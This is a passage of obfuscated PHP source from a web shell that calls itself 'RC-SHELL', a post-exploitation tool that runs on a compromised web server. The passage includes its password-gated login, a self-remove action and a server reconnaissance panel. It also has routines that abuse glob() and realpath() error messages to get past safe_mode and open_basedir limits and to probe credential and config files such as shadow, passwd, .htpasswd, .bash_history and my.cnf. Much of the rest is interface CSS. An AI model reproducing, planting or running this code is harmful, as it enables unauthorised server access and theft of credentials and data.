2122 return '<span style="font-size: 9px; color: #333333; font-weight: bold;">' . $i .
2123 ' </span>';
2124}
2125function z5t($i)
2126{
2127 return z7e((!@empty($i) ? z8e($i) : $i), '15');
2128}
2129function z5b($l, $i)
2130{
2131 return z6x(z8e($l) . $i, '1');
2132}
2133function z10y($h, $n, $c = '', $t = '')
2134{
2135 return '<a href="' . $h . '"' . (($c != '') ? ' class="' . z4m($c, '5') . '"' :
2136 '') . (($t != '') ? ' target="_blank"' : '') . '>' . $n . '</a>';
2137}
2138function z6s($f)
2139{
2140 global $nix, $sh_exec;
2141 $m = '';
2142 if (z7r('md5_file') && @md5_file($f) !== false) {
2143 $m = @md5_file($f);
2144 } elseif ($nix && $sh_exec) {
2145 $m = z9t('md5sum "' . $f . '"', 0);
2146 if (@strstr($m, ' '))
2147 $m = @substr($m, 0, @strpos($m, ' '));
2148 }
2149 return (@strlen($m) == 32) ? $m : false;
2150}
2151function z3b()
2152{
2153 global $linux, $saddr, $dtotal, $dfree, $bsafe, $bopendir, $bmysql, $bmssql, $boracle,
2154 $bpostgres, $bcurl, $use_images;
2155 $a = @explode(" ", @getenv("SERVER_SOFTWARE"));
2156 $b = @explode("-", @phpversion());
2157 if (@isset($a[0])) {
2158 $www = $a[0];
2159 } else {
2160 $www = "Unknown";
2161 }
2162 $www .= z9c(1) . z5c(array('act' => 'phpinfo', 'd'), z8v("PHP/" . $b[0], '0'));
2163 echo z10e(z7i(z7l(z7o('http://whois.domaintools.com/' . $saddr, '1', 'POST') .
2164 z8v(z9s("4"), '0') . z9z() . z9c(5) . z7o('http://www.domaintools.com/research/traceroute/?query=' .
2165 $saddr, '1', 'POST') . z8v(z9s("5"), "0") . z9z(), '6', '5') . z7e(z5c(array('act' =>
2166 'selfremove', 'd'), z8v(z9s("6"), '0')) . z9c(5) . z5c(array('act' => 'logout',
2167 'd'), z8v(z9s("7"), '0')), '6', '5')), '6');
2168 echo z10e(z7i(z6x(z9s("8"), '2', '2') . (($linux) ? z6x(z9s("9"), '2') : '') .
2169 z6x(z9s("1"), '2') . z6x(z9s("10"), '2') . z6x(z9s("11"), '2') . z6x(z9s("12"),
2170 '2') . z6x(z9s("13"), '2') . z6x(z9s("14"), '2') . z6x(z9s("15"), '2') . z6x(z9s
2171 ("16"), '2') . z6x(z9s("17"), '2') . z6x(z9s("18"), '2')) . z7i(z6x(z9a(), '3',
2172 '2') . (($linux) ? z6x(@php_uname('r'), '3') : '') . z6x(z5k(), '3') . z6x($dtotal .
2173 ' / ' . $dfree, '3') . z6x($www, '3') . z6x(($bsafe ? z6y(z9s("19"), 'nr') : z6y
2174 (z9s("20"), 'rw')), '3') . z6x(($bopendir ? z6y(z9s("21"), 'nr') : z6y(z9s("424"),
2175 'rw')), '3') . z6x(($bcurl ? z6y(z9s("21"), 'rw') : z9s("22")), '3') . z6x(($bmysql ?
2176 z6y(z9s("21"), 'rw') : z9s("22")), '3') . z6x(($bmssql ? z6y(z9s("21"), 'rw') :
2177 z9s("22")), '3') . z6x(($boracle ? z6y(z9s("21"), 'rw') : z9s("22")), '3') . z6x
2178 (($bpostgres ? z6y(z9s("21"), 'rw') : z9s("22")), '3')), '3');
2179}
2180function z3l($login = 0)
2181{
2182 global $act, $use_images, $sh_exec, $safe_exec, $ft, $nogradient;
2183 echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
2184<html>
2185<head>
2186<meta http-equiv="Content-Type" content="text/html">
2187' . ($use_images ? '<link rel="shortcut icon" href="?act=i&img=exe">' : '') .
2188 '
2189' . ((!$login) ? '<title>[ RC-SHELL v' . z7x('0') . (!@empty($_SERVER["SERVER_NAME"]) ?
2190 ' - ' . $_SERVER["SERVER_NAME"] : '') . (!@empty($_SERVER["SERVER_ADDR"]) ?
2191 ' - ' . $_SERVER["SERVER_ADDR"] : '') . ' ]</title>' : '<title>' . z9s("0") .
2192 '</title>') . '
2193<style type="text/css">
2194body, table, tr, td, div, select, input, textarea, pre, code { font: 100% ' .
2195 z9w("fontfam") . '; text-decoration: none; }
2196td, div { max-width: ' . z7x('5', "width") . 'px; }
2197input, select, textarea { border: 0; padding: 0; }
2198input, select, textarea { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; -ms-box-sizing: border-box; }
2199input::-moz-focus-inner { border: 0;padding: 0; }
2200body { background-color: ' . z9w("bodybg") . '; font-family: ' . z9w("fontfam") .
2201 ' !important; font-size: 10px !important; color: ' . z9w("fontcolor") . ';}
2202*:focus {outline: none;}
2203.but1, .but2, .but3, .actbut, .but1:active, .but2:active, .but3:active .actbut:active { border: 1px solid #cccccc; margin-left: 1px; text-shadow: 1px 1px 2px #ffffff; vertical-align: middle; }
2204.but1, .but2, .but3, .actbut { ' . z2o("#F5F5F5", "#E0E0E0") . ' }
2205.but1:hover, .but2:hover, .but3:hover, .actbut:hover { ' . z2o("#E0E0E0",
2206 "#F5F5F5") . ' cursor: pointer; }
2207.but1 { width: 28px; height: 18px; font-size: 10px; font-weight: bold; }
2208.but2 { color: #4F4F4F; padding: 0 10px 0 10px; height: 20px; font-size: 10px; }
2209.actbut { color: #4F4F4F; padding: 0 10px 0 10px; height: 18px; font-size: 10px; font-weight: normal; }
2210' . (($login) ? '
2211.login { background: ' . z9w("tablebg") . '; border: 1px solid ' . z9w("tableborder") .
2212 '; -moz-box-shadow: ' . z9w("tableshadow") .
2213 ' 0 0 8px; -webkit-box-shadow: 0 0 8px ' . z9w("tableshadow") .
2214 '; box-shadow: 0 0 8px ' . z9w("tableshadow") .
2215 '; margin-top: 150px; padding: 10px; text-align: left; }
2216.login td { padding: 0; }
2217.login input { background-color: #FFFFFF; border: 1px solid #CCCCCC; color: #333333; margin: 1px; margin-right: 0; height:20px; width:150px; font-size: 10px; text-shadow: 1px 1px 5px #dddddd; vertical-align: middle; }
2218.lerror { color: ' . z9w('errcolor') . '; padding-bottom: 10px !important; }
2219' : '
2220.container { background: ' . z9w("tablebg") . '; width: ' . z7x('5', "width") .
2221 'px; border: 1px solid ' . z9w("tableborder") . '; -moz-box-shadow: ' . z9w("tableshadow") .
2222 ' 0 0 8px; -webkit-box-shadow: 0 0 8px ' . z9w("tableshadow") .
2223 '; box-shadow: 0 0 8px ' . z9w("tableshadow") . '; }
2224form { display: inline; }
2225label { display: inline-block; vertical-align: baseline; }
2226a { text-decoration: none; }
2227.links, .links:active, .links:visited { background-color: transparent; color: ' .
2228 z9w("tlinkcolor") . '; text-shadow: 1px 1px 3px ' . z9w("tlinkshadow") .
2229 '; padding: 0; font-size: 10px; font-weight:normal; vertical-align: middle; vertical-align: inherit !important; }
2230.links:hover { color: ' . z9w("tlinkcolorhover") . '; cursor: pointer; }
2231.slinks { background-color: transparent; color: ' . z9w('dircolor') .
2232 '; font-size: 11px; font-weight: normal; }
2233.slinks:hover { cursor: pointer; }
2234.sinfo { width: 100%; }
2235.tdsinfo { ' . z2o(z9w("tbarbg1"), z9w("tbarbg2")) .
2236 ' border-bottom: 1px solid ' . z9w("tbarborderb") . '; border-top: 1px solid ' .
2237 z9w("tbarbordert") . '; padding: 4px; }
2238.tdsinfo .links { font-size: 9px; }
2239.tdsinfo span { vertical-align: middle; }
2240.topcf { vertical-align: middle; }
2241.topt { ' . z2o(z9w("topbg1"), z9w("topbg2")) . ' border-top: 1px solid ' . z9w
2242 ("topborder1") . '; color: ' . z9w("topcolor") . '; text-shadow: 1px 1px 5px ' .
2243 z9w("topshadow") . '; padding-top: 10px; font-size: 9px; font-weight: bold; vertical-align: middle; }
2244.topc { background: ' . ((@isset($nogradient) && $nogradient) ? z9w("topbg1") :
2245 z9w("topbg2")) . '; color: ' . z9w("topcolor") .
2246 '; padding-bottom: 10px; vertical-align: middle; }
2247.nav { ' . z2o("#ffffff", "#f3f3f3") .
2248 ' border-bottom: 1px solid #f0f0f0; padding: 2px 0 2px 2px; width: 100%; }
2249.footer { width: 100%; }
2250.tdfooter { ' . z2o(z9w("footerbg1"), z9w("footerbg2")) .
2251 ' border-top: 1px solid ' . z9w("footerborder1") . '; padding: 3px; color: ' .
2252 z9w("footercolor") . '; text-shadow: 1px 1px 5px ' . z9w("footershadow") .
2253 '; font-size: 9px; font-weight: bold; vertical-align: middle; }
2254.headnfo { width: 100%; }
2255.ql { width: 100%; }
2256.tdql { background-color: transparent; border-top: 1px solid ' . z9w("qlbg2") .
2257 '; border-bottom: 3px solid #E0E0E0; }
2258.ql1, .ql2, .qlback { font-size: 10px; font-weight: bold; }
2259.ql1 { ' . z2o("#fefefe", "#E0E0E0", 1) .
2260 ' border: 1px solid #EFEAEF; border-bottom: 0; color: #030303; width:100%; height: 22px; text-shadow: #cccccc 2px -1px 10px; }
2261.ql2 { ' . z2o(z9w("qlbg1"), z9w("qlbg2"), 1) . ' color: ' . z9w("qlcolor") .
2262 '; border-top: 1px solid ' . z9w("qlborder") .
2263 '; border-left: 0; border-right: 0; border-bottom: 1px solid #EFEAEF; width:100%; height: 22px; text-shadow: ' .
2264 z9w("qlshadow") . ' 2px -1px 10px; }
2265.qlback { ' . z2o(z9w("qlbg1"), z9w("qlbg2"), 1) . ' border-top: 1px solid ' .
2266 z9w("qlborder") . '; border-bottom: 1px solid #EFEAEF; color: ' . z9w("qlcolor") .
2267 '; width:100%; text-shadow: ' . z9w("qlshadow") .
2268 ' 2px -1px 10px; height: 22px; cursor: pointer; }
2269.ql1:hover { cursor:pointer; }
2270.ql2:hover, .qlback:hover { color: ' . z9w("qlcolorhover") .
2271 '; cursor: pointer; }
2272.size1, .size2, .size3, .size4, .size5, .size6, .size7, .size8, .size9, .size10 { background-color: #FFFFFF; border: 1px solid #CCCCCC; color: #333333; margin: 1px; margin-right: 0; font-size: 10px; text-shadow: 1px 1px 5px #dddddd; vertical-align: middle; }
2273.size1, .size2, .size3, .size5, .size6, .size7, .size8, .size9, .size10 { height: 20px;}
2274.size1 { width: 300px; }
2275.size2 { width: 65px; }
2276.size3 { width: 200px; }
2277.size4 { width: 65px; height: 18px; }
2278.size5 { width: 100px; }
2279.size6 { width: 150px; }
2280.size7 { width: 40px; }
2281.size8 { width: 99%; min-width: 370px; }
2282.size9 { width: 205px; }
2283.size10 { width: 550px; }
2284.list1 { background: #F2f2f2; }
2285.list2 { background: #F5F5F5; }
2286.list3 { background: #E0E0E0; }
2287.list1:hover, .list2:hover { background-color: #E0E0E0; }
2288.list3:hover { background: #CCCCCC; }
2289.tdlsh1, .tdlsh2, .tdph { background-color: transparent; border-top: 1px solid #DDDDDD; border-right: 1px solid #FFFFFF; border-bottom: 1px solid #CCCCCC; border-left: 1px solid #CCCCCC; color: #333333; text-shadow: 1px 1px 3px #ffffff; height: 20px; }
2290.tdlsh1, .tdlsh2 { padding-left: 2px; padding-right: 5px; min-width: 60px; height: 20px; }
2291.tdlsh1 { border-left: 0; min-width: 350px; }
2292.tdph { padding-left: 2px; }
2293.tdpl { background-color: transparent; border-left: 1px solid #dddddd; border-right: 1px solid #ffffff; padding: 2px; min-width: 40px; min-height: 20px; word-break: break-all; }
2294.head { background-color: transparent; border:0; min-width: 100%; color: #333333; text-shadow: 1px 1px 3px #ffffff; margin: 0; padding:0; font-size: 10px; font-weight: normal; text-align: left; }
2295.head:hover { cursor: pointer; }
2296.tdlsh1, .tdlsh2, .tdph { ' . z2o("#F5F5F5", "#E0E0E0") .
2297 ' height: 22px !important; }
2298.tdlsh1:hover, .tdlsh2:hover, .tdph:hover { ' . z2o("#fefefe", "#dddddd") . ' }
2299.tdlsf { padding-left: 2px; min-width: 300px; height: 20px; vertical-align: middle; }
2300.tdlsfn, .tdlsf1 { padding-left: 2px; padding-right: 5px; min-width: 60px; height: 20px; vertical-align: middle; }
2301.tdlsf1 { border-left: 1px solid #FFFFFF; min-width: 200px; }
2302.tdhead { ' . z2o("#E0E0E0", "#efefef", 1) .
2303 ' border-top: 1px solid #f3f3f3; border-bottom: 1px solid #e0e0e0; border-right:0; color: #030303; padding-left: 3px; height: 20px; font-size: 9px; font-weight: bold; }
2304.tdhead td, .tdlbl { color: #333333; padding: 3px; font-weight: bold; text-shadow: 1px 1px 3px #ffffff; }
2305.tdlbl { width: 150px; }
2306.tdmail { padding: 0 10px 0 10px;}
2307img { vertical-align: middle; }
2308.fimg { border: 0; padding:0; padding-right:1px; vertical-align: middle; }
2309.tfilter { width: 100%; }
2310.tdfilter { ' . z2o("#efefef", "#E0E0E0") .
2311 ' border-top: 1px solid #fefefe; color: #333333; padding: 2px; font-weight: bold; }
2312.nr, .nw, .rw { background-color: transparent; font-weight:normal; text-tecoration: none; }
2313.nr { color: ' . z9w('errcolor') . '; }
2314.nw { color: ' . z9w('normalcolor') . '; }
2315.rw { color: ' . z9w('okcolor') . '; }
2316.dirlist, .filelist { background-color: transparent; border: 0; padding: 0; min-width: 80%; font-size: 11px; text-decoration: none; text-align: left; vertical-align: middle !important; }
2317.dirlist { color: ' . z9w('dircolor') . '; }
2318.filelist { color: ' . z9w('normalcolor') . '; }
2319.dirlist:hover, .filelist:hover { cursor: pointer; }
2320pre { background-color: #FAFAFA; color:#333333; border: 1px solid #CCCCCC; margin-top:0; padding: 5px; max-width: 1000px; max-height: 350px; text-align: left; overflow-x: auto; white-space: pre-wrap; white-space: -moz-pre-wrap !important; white-space: -pre-wrap; white-space: -o-pre-wrap; word-wrap: break-word; }
2321pre code { display: block; }
2322.ftactive, .ftcompat, .ftother { ' . z2o("#f3f3f3", "#cccccc") .
2323 ' border: 1px solid #BBBBBB; margin:2px 1px 2px 0; padding: 2px 8px 2px 8px; height:20px; font-size: 10px !important; }
2324.ftactive:hover, .ftcompat:hover, .ftother:hover { ' . z2o("#CCCCCC", "#F3F3F3") .
2325 ' cursor: pointer; }
2326.ftactive { ' . z2o("#CCCCCC", "#F3F3F3") . ' color: #000000; }
2327.ftcompat { color: ' . z9w('okcolor') . '; }
2328.ftother { color: ' . z9w('normalcolor') . '; }
2329.mbut1, .mbut2 { border: 1px solid #BBBBBB; margin: 2px 1px 2px 0; padding: 1px 5px 1px 5px; height: 20px; font-size: 10px; }
2330.mbut1 { ' . z2o("#F3F3F3", "#CCCCCC") . ' }
2331.mbut2 { ' . z2o("#CCCCCC", "#F3F3F3") . ' }
2332.mbut1:hover, .mbut2:hover { ' . z2o("#cccccc", "#f3f3f3") .
2333 ' cursor: pointer; }
2334.iframe { background-color: #FFFFFF; border: 1px solid #CCCCCC; width: 99%; height: 300px; vertical-align: middle; }
2335.console { background-color: transparent; color: #333333; border: 0; width: 100%; height: 300px; }
2336.tgeneric, .tedit, .txmail { border: 1px solid #cccccc; margin-top: 0; margin-bottom: 1px; width: 99%; }
2337.tgeneric { height: 150px; }
2338.tedit { height: 300px; text-align: left; }
2339.txmail { margin-top: 1px; width: 100%; height: 100px; }
2340.tsql1, .tsql2 { border: 1px solid #CCCCCC; margin-left: 1px; width: 205px; height: 60px; }
2341.tsql2 { width: 99% !important; }
2342.tinj { border: 1px solid #CCCCCC; margin: 1px; width: 300px; height: 46px; }
2343.tahex { width: 99%; margin-bottom:1px;}
2344.thex1, .thex2, .thex3 { border: 1px solid #CCCCCC; padding-top:1px; padding-left:3px; font: 13px "monospace", monospace; line-height: 20px; text-align: left; }
2345.thex1 { color: #000000; }
2346.thex2 { background-color: #FFFFFF; border-left: 0; border-right: 0; }
2347.thex3 { color: #000000;}
2348.idimg, .ifimg { ' . z0i('3') .
2349 ' margin-right:2px; width: 16px; height: 16px; vertical-align: middle; }
2350.idimg { ' . z2o(z9w('idirbg1'), z9w('idirbg2'), 1) . ' border: 1px solid ' .
2351 z9w('idirborder') . '; }
2352.ifimg { ' . z2o(z9w('ifilebg1'), z9w('ifilebg2')) . ' border: 1px solid ' . z9w
2353 ('ifileborder') . '; }
2354.idimg:hover, .ifimg:hover { cursor: pointer; }
2355.selector, .divls { max-height:350px; height:350px !important; overflow: auto; }
2356.selector { border-top: 1px solid #FFFFFF; }
2357.scroll { background-color: transparent; border:0; margin:0; padding:0; max-width: 1024px; max-height:350px; overflow-y: auto; overflow-x: auto; text-align:left; }
2358.dwidth { width: 99%; }
2359.barbg { ' . z2o("#dddddd", "#ffffff") .
2360 ' border:1px solid #cccccc; margin-right: 5px; padding:0; width:100px; height:7px; vertical-align:middle; float:left; }
2361.barfil { ' . z2o("#85FF00", "#469F0B") . '; height:7px; padding:0; }
2362') . '
2363</style>
2364</head>
2365<body' . (($act == "cmd") ? ' onload="document.command.cmd.focus();"' : '') .
2366 '>' . (@in_array($act, array('ls', 'search', 'ftp')) ? z3n() : '') . ($act ==
2367 "f" && @isset($ft) && $ft == "edit" ? z1c() : '') . '
2368' . z7h(($login ? '1' : '0')) . z6g() . z7k();
2369}
2370function z0g($c, $s, $t)
2371{
2372 return '<input type="submit" title="' . $t .
2373 '" value=" " style="border:1px solid ' . z9w("topborder1") .
2374 '; background: ' . $c . '; width: ' . $s . 'px; height: ' . $s .
2375 'px; vertical-align: middle; vertical-align: inherit !important; cursor: pointer;">';
2376}
2377function z1s($type)
2378{
2379 return '<input type="submit" class="' . ($type == 'd' ? 'idimg' : 'ifimg') .
2380 '" value=" ">';
2381}
2382function z0i($i)
2383{
2384 return ' -moz-border-radius: ' . $i . 'px; -webkit-border-radius: ' . $i .
2385 'px; border-radius: ' . $i . 'px;';
2386}
2387function z2o($s, $e, $d = '')
2388{
2389 global $nogradient;
2390 if (@isset($nogradient) && $nogradient)
2391 return 'background: ' . (($d == '') ? $s : $e) . ';';
2392 return 'background: ' . (($d == '') ? $s : $e) . ';
2393filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=\'' . $s . '\', endColorstr=\'' .
2394 $e . '\');
2395background: -webkit-gradient(linear, left top, left bottom, from(' . $s .
2396 '), to(' . $e . '));
2397background: -moz-linear-gradient(top, ' . $s . ', ' . $e . ');
2398background: -o-linear-gradient(top, ' . $s . ', ' . $e . ');
2399';
2400}
2401function z3x($login = 0)
2402{
2403 $tc = '';
2404 foreach (z7x(5, 'skins') as $s)
2405 $tc .= z5c(array('act', 'd', 'color_skin' => $s), z4p(z0g(z9w("topbg1"), "11", @
2406 strtoupper($s))) . " ");
2407 echo (!$login ? z7s(z7i(z9j('RC-SHELL v' . z7x('0') . ' : ' .
2408 "PAGE GENERATED IN " . (@round(z10r() - start, 4)) . " SECONDS", '4') . z7e($tc,
2409 '4')), '2') : '') . z7g() . z7u() . z10w() . '</body></html>';
2410 exit();
2411}
2412function z1z($n, $v = '', $e = 0, $p = '', $d = '', $s = false, $h = false)
2413{
2414 $_COOKIE[$n] = $v;
2415 return @setcookie($n, $v, $e, $p, $d, $s, $h);
2416}
2417function z1o($n)
2418{
2419 if (@isset($_COOKIE[$n]))
2420 unset($_COOKIE[$n]);
2421 return @setcookie($n, null, -1);
2422}
2423function z1u($n)
2424{
2425 return (@isset($_COOKIE[$n]) ? $_COOKIE[$n] : '');
2426}
2427function z1w()
2428{
2429 foreach (array('bcopy', 'bcut') as $t) {
2430 global ${$t};
2431 if (@count(${$t}) > 0) {
2432 $_SESSION[$t] = ${$t};
2433 $c = @serialize(${$t});
2434 z1z($t, $c);
2435 } else {
2436 z0u($t);
2437 z1o($t);
2438 }
2439 }
2440}
2441function z1g()
2442{
2443 foreach (array('bcopy', 'bcut') as $t) {
2444 global ${$t};
2445 if (@isset($_SESSION[$t])) {
2446 ${$t} = $_SESSION[$t];
2447 } elseif (($c = z1u($t)) != '') {
2448 ${$t} = @unserialize($c);
2449 } else {
2450 ${$t} = array();
2451 }
2452 }
2453}
2454function z0a($a = 1)
2455{
2456 foreach (array('bcopy', 'bcut') as $t) {
2457 global ${$t};
2458 if (@isset(${$t}) && $a)
2459 unset(${$t});
2460 z0u($t);
2461 z1o($t);
2462 }
2463}
2464function z1l($f, $t)
2465{
2466 global $bcopy, $bcut;
2467 z0a(0);
2468 $u = (($t == 'bcopy') ? 'bcut' : 'bcopy');
2469 foreach (${$u} as $k => $v) {
2470 if (${$u}[$k] == $f)
2471 unset(${$u}[$k]);
2472 }
2473 if (!@in_array($f, ${$t})) {
2474 ${$t}[] = $f;
2475 } else {
2476 foreach (${$t} as $k => $v) {
2477 if (${$t}[$k] == $f)
2478 unset(${$t}[$k]);
2479 }
2480 }
2481}
2482function z4g()
2483{
2484 global $color_skin;
2485 $l = z7x('1');
2486 $zu = z1u('zu');
2487 $zp = z1u('zp');
2488 if ($l['use_auth'] && z7r('md5')) {
2489 $s = $e = 0;
2490 if (@isset($_SESSION['ok']) || ($zu == $l['md5_user'] && $zp == $l['md5_pass'])) {
2491 $s = 1;
2492 } elseif (@isset($_POST['zu']) && @isset($_POST['zp'])) {
2493 if (@md5($_POST['zu']) == $l['md5_user'] && @md5($_POST['zp']) == $l['md5_pass']) {
2494 $_SESSION['ok'] = 1;
2495 z1z('zu', @md5($_POST['zu']));
2496 z1z('zp', @md5($_POST['zp']));
2497 $s = 1;
2498 } else {
2499 $e = 1;
2500 }
2501 }
2502 if (!$s) {
2503 $color_skin = z7x('5', 'default_skin');
2504 z3l(1);
2505 echo z9l() . z7s(z7i(z9j(z8e(z9s("1"))) . z9j(z6i('zu', ''))) . z7i(z9j(z8e(z9s
2506 ("2"))) . z9j(z6a('zp', ''))) . z7i(z9j('') . z9j(z8v(z9s("3"), "7")))) . z9z();
2507 z3x(1);
2508 exit();
2509 }
2510 }
2511}
2512function z0u($n)
2513{
2514 if (@isset($_SESSION[$n]))
2515 unset($_SESSION[$n]);
2516}
2517function z0k($n)
2518{
2519 return (@isset($_SESSION[$n]) ? $_SESSION[$n] : false);
2520}
2521function z4y()
2522{
2523 z1o('zu');
2524 z1o('zp');
2525 z0u('ok');
2526 if (@count($_SESSION) > 0) {
2527 foreach ($_SESSION as $k => $v)
2528 z0u($k);
2529 }
2530 @session_destroy();
2531}
2532function z7n($f)
2533{
2534 if (!z0n($f)) {
2535 return '0';
2536 } elseif (!z0v($f)) {
2537 return '1';
2538 } else
2539 return '2';
2540}
2541function z5h($f)
2542{
2543 $c = array("red", "white", "green");
2544 return $c[(z7n($f))];
2545}
2546function z6h($f)
2547{
2548 $c = array("nr", "nw", "rw");
2549 return $c[(z7n($f))];
2550}
2551function z7c($s)
2552{
2553 if (!@is_numeric($s))
2554 return '0 B';
2555 $m = 1024;
2556 $u = @explode(' ', 'B KB MB GB TB PB');
2557 for ($i = 0; $s > $m; $i++) {
2558 $s /= $m;
2559 }
2560 return @round($s, 2) . ' ' . $u[$i];
2561}
2562function z7v($i, $c = 1)
2563{
2564 foreach (z7q() as $r) {
2565 if (@strstr(z9n($r), $i))
2566 return z7m(@explode($i, z9n($r)), $c);
2567 }
2568 ;
2569}
2570function z0e($errno, $errstr, $errfile, $errline)
2571{
2572 global $safeDirArr, $c, $i;
2573 preg_match("#SAFE\s+MODE\s+Restriction\s+in\s+effect(.*)not\s+allowed\s+to\s+access\s+(.*)\s+owned\s+by\s+uid(.*)#",
2574 $errstr, $o) || preg_match("#open_basedir\s+restriction(.*)File\s*\((.*)\)\s+is\s+not#",
2575 $errstr, $o);
2576 if ($o) {
2577 $safeDirArr[$c] = $o[2];
2578 $c++;
2579 }
2580}
2581function z2c($dir)
2582{
2583 global $win, $safeDirArr;
2584 if (z7r('glob')) {
2585 $error_reporting = @ini_get('error_reporting');
2586 @error_reporting(E_WARNING);
2587 @ini_set("display_errors", 1);
2588 $root = "/";
2589 if ($dir)
2590 $root = $dir;
2591 $c = 0;
2592 $safeDirArr = array();
2593 @set_error_handler("z0e");
2594 $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
2595 for ($i = 0; $i < @strlen($chars); $i++) {
2596 $path = "{$root}" . ((@substr($root, -1) != "/") ? "/" : null) . "{$chars[$i]}";
2597 $prevD = $safeDirArr[@count($safeDirArr) - 1];
2598 @glob($path . "*");
2599 if ($safeDirArr[@count($safeDirArr) - 1] != $prevD) {
2600 for ($j = 0; $j < @strlen($chars); $j++) {
2601 $path = "{$root}" . ((@substr($root, -1) != "/") ? "/" : null) . "{$chars[$i]}{$chars[$j]}";
2602 $prevD2 = $safeDirArr[@count($safeDirArr) - 1];
2603 @glob($path . "*");
2604 if ($safeDirArr[@count($safeDirArr) - 1] != $prevD2) {
2605 for ($p = 0; $p < @strlen($chars); $p++) {
2606 $path = "{$root}" . ((@substr($root, -1) != "/") ? "/" : null) . "{$chars[$i]}{$chars[$j]}{$chars[$p]}";
2607 $prevD3 = $safeDirarr[@count($safeDirArr) - 1];
2608 @glob($path . "*");
2609 if ($safeDirArr[@count($safeDirArr) - 1] != $prevD3) {
2610 for ($r = 0; $r < @strlen($chars); $r++) {
2611 $path = "{$root}" . ((@substr($root, -1) != "/") ? "/" : null) . "{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
2612 @glob($path . "*");
2613 }
2614 }
2615 }
2616 }
2617 }
2618 }
2619 }
2620 $safeDirArr = @array_unique($safeDirArr);
2621 foreach ($safeDirArr as $item)
2622 echo @htmlspecialchars("{$item}") . "\r\n";
2623 @error_reporting($error_reporting);
2624 }
2625}
2626function z3s($dir)
2627{
2628 if (z7r('realpath')) {
2629 global $win, $safeDirArr;
2630 $chars_rlph = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
2631 $presets_rlph = array('index.php', '.htaccess', '.htpasswd', 'httpd.conf',
2632 'vhosts.conf', 'cfg.php', 'config.php', 'config.inc.php', 'config.default.php',
2633 'config.inc.php', 'shadow', 'passwd', '.bash_history', '.mysql_history',
2634 'master.passwd', 'user', 'admin', 'password', 'administrator', 'phpMyAdmin',
2635 'security', 'php.ini', 'cdrom', 'root', 'my.cnf', 'pureftpd.conf',
2636 'proftpd.conf', 'ftpd.conf', 'resolv.conf', 'login.conf', 'smb.conf',
2637 'sysctl.conf', 'syslog.conf', 'access.conf', 'accounting.log', 'home', 'htdocs',
2638 'access', 'auth', 'error', 'backup', 'data', 'back', 'sysconfig', 'phpbb',
2639 'phpbb2', 'vbulletin', 'vbullet', 'phpnuke', 'cgi-bin', 'html', 'robots.txt',
2640 'billing');
2641 if (!$dir) {
2642 $dir = '/etc/';
2643 }
2644 ;
2645 $end_rlph = '';
2646 $n_rlph = '3';
2647 $c = 0;
2648 $safeDirArr = array();
2649 $rlpArr = array();
2650 $error_reporting = @ini_get('error_reporting');
2651 @error_reporting(E_WARNING);
2652 @ini_set("display_errors", 1);
2653 @set_error_handler("z0e");
2654 if ($realpath = realpath($dir . '/')) {
2655 echo $realpath . "\r\n";
2656 }
2657 if ($end_rlph != '' && $realpath = realpath($dir . '/' . $end_rlph)) {
2658 echo $realpath . "\r\n";
2659 $rlpArr[] = $realpath;
2660 }
2661 foreach ($presets_rlph as $preset_rlph) {
2662 if ($realpath = realpath($dir . '/' . $preset_rlph . $end_rlph)) {
2663 echo $realpath . "\r\n";
2664 $rlpArr[] = $realpath;
2665 }
2666 }
2667 for ($i = 0; $i < strlen($chars_rlph); $i++) {
2668 if ($realpath = realpath($dir . "/{$chars_rlph[$i]}" . $end_rlph)) {
2669 echo $realpath . "\r\n";
2670 $rlpArr[] = $realpath;
2671 }
2672 if ($n_rlph <= 1) {
2673 continue;
2674 }
2675 ;
2676 for ($j = 0; $j < strlen($chars_rlph); $j++) {
2677 if ($realpath = realpath($dir . "/{$chars_rlph[$i]}{$chars_rlph[$j]}" . $end_rlph)) {
2678 echo $realpath . "\r\n";
2679 $rlpArr[] = $realpath;
2680 }
2681 if ($n_rlph <= 2) {
2682 continue;
2683 }
2684 ;
2685 for ($x = 0; $x < strlen($chars_rlph); $x++) {
2686 if ($realpath = realpath($dir . "/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}" .
2687 $end_rlph)) {
2688 echo $realpath . "\r\n";
2689 $rlpArr[] = $realpath;
2690 }
2691 if ($n_rlph <= 3) {
2692 continue;
2693 }
2694 ;
2695 for ($y = 0; $y < strlen($chars_rlph); $y++) {
2696 if ($realpath = realpath($dir . "/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}" .
2697 $end_rlph)) {
2698 echo $realpath . "\r\n";
2699 $rlpArr[] = $realpath;
2700 }
2701 if ($n_rlph <= 4) {
2702 continue;
2703 }
2704 ;
2705 for ($z = 0; $z < strlen($chars_rlph); $z++) {
2706 if ($realpath = realpath($dir . "/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}" .
2707 $end_rlph)) {
2708 echo $realpath . "\r\n";
2709 $rlpArr[] = $realpath;
2710 }
2711 if ($n_rlph <= 5) {
2712 continue;
2713 }
2714 ;
2715 for ($w = 0; $w < strlen($chars_rlph); $w++) {
2716 if ($realpath = realpath($dir . "/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}" .
2717 $end_rlph)) {
2718 echo $realpath . "\r\n";
2719 $rlpArr[] = $realpath;
2720 }
2721 }
2722 }
2723 }
2724 }
2725 }
2726 }
2727 $safeDirArr = @array_unique($safeDirArr);
2728 foreach ($safeDirArr as $item) {
2729 if (!@in_array($item, $rlpArr))
2730 echo @htmlspecialchars($item) . "\r\n";
2731 }
2732 @error_reporting($error_reporting);
2733 }
2734}
2735function z4f($d, $t, $b = 0)
2736{
2737 $d = z1i($d);
2738 $t = z1i($t);
2739 if (@is_dir($d)) {
2740 if (!z4q($t)) {
2741 @mkdir($t);
2742 @chmod($t, 0755);
2743 }
2744 $h = @opendir($d);
2745 while (($o = @readdir($h)) !== false) {
